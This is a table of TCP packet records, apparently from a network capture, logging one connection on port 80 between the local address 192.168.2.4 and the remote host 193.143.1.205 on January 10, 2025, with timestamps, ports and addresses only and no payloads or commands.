Jan 10, 2025 18:58:13.022317886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.022677898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022703886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022728920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022744894 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022756100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.022792101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.022815943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022830963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022846937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.022871017 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.023529053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023547888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023572922 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023583889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.023597956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023622990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.023648977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023665905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023684978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.023696899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.023725986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.024329901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024343967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024384975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.024506092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024522066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024538994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024573088 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.024597883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024614096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024629116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024645090 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.024656057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.024669886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.026022911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.026041031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.026057005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.026086092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.026104927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.042285919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.042308092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.042325974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.042396069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.042581081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.042607069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.042623043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.042654991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.042680979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.042766094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.083487034 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.114906073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.114923954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.114948034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.114962101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.114989996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.115025997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.119518995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.119544029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.119607925 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.144750118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.144772053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.144788027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.144903898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.144933939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.144973040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.144987106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145018101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145032883 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145046949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145062923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145087004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145103931 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145111084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145127058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145195007 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145206928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145220041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145247936 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145586967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145601988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145617962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145637989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145644903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145667076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145800114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145843029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145852089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145865917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145904064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.145962954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.145977974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146038055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146359921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146377087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146393061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146409035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146423101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146434069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146446943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146456957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146473885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146486998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146500111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146528006 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146780014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146795988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146811962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146827936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146837950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146873951 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.146898031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146914005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.146953106 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.147164106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147211075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147226095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147250891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.147308111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147335052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147350073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.147375107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147389889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147404909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147454023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.147454023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.147809029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147824049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147840023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.147912979 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148013115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148029089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148044109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148053885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148076057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148087978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148102045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148118019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148133039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148147106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148163080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148175001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148175955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148207903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148696899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148804903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148821115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148844004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148854971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148869038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148886919 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.148895025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.148936033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.149784088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149800062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149864912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.149879932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149904966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149929047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149945021 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.149951935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149966002 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149980068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.149991035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.150007010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150027990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.150036097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150051117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150067091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150078058 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.150116920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.150141001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150155067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150192022 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.150791883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150806904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150826931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.150855064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.156560898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.253540993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.253572941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.253590107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.253606081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.253628969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.253638983 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.253658056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.253669024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.253703117 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.263868093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.263896942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.263914108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.263962030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.285620928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285675049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285742044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285758972 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.285794020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.285809040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285834074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285856962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285871983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285881996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.285893917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285913944 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285922050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.285944939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285959959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.285970926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.285996914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286012888 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286027908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286036968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.286045074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286060095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286070108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.286082029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286097050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286112070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286123037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.286140919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.286149025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.286158085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299489975 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299518108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299531937 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299551010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299565077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299578905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299578905 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299601078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299616098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299640894 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299664974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299680948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299704075 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299721003 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299738884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299752951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299770117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299787045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299814939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299829006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299843073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299864054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299870968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299880028 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.299894094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.299933910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300024033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300074100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300133944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300158978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300174952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300224066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300234079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300246954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300281048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300399065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300415993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300431013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300446987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300461054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300473928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300487041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300498962 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300513983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300539970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300550938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300565004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300579071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300594091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300604105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300616980 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300627947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300642967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300657034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300667048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300681114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300702095 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300822020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300837040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300853014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300863981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300877094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300898075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300904036 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300915956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300936937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.300956011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300971985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300987005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.300996065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301009893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301023960 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301042080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301054001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301069021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301084995 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301093102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301107883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301116943 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301131010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301147938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301153898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301167965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301213026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301225901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301238060 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301250935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301261902 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301275015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301290035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301311970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301341057 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301383972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301398993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301415920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301429987 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301439047 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301453114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301476955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301551104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301567078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301582098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301595926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301604986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301624060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301630974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301645994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301668882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301697969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301712990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301736116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301743984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301755905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301772118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301785946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301796913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 18:58:13.301811934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 18:58:13.301928997 CET	80	49730	193.143.1.205	192.168.2.4
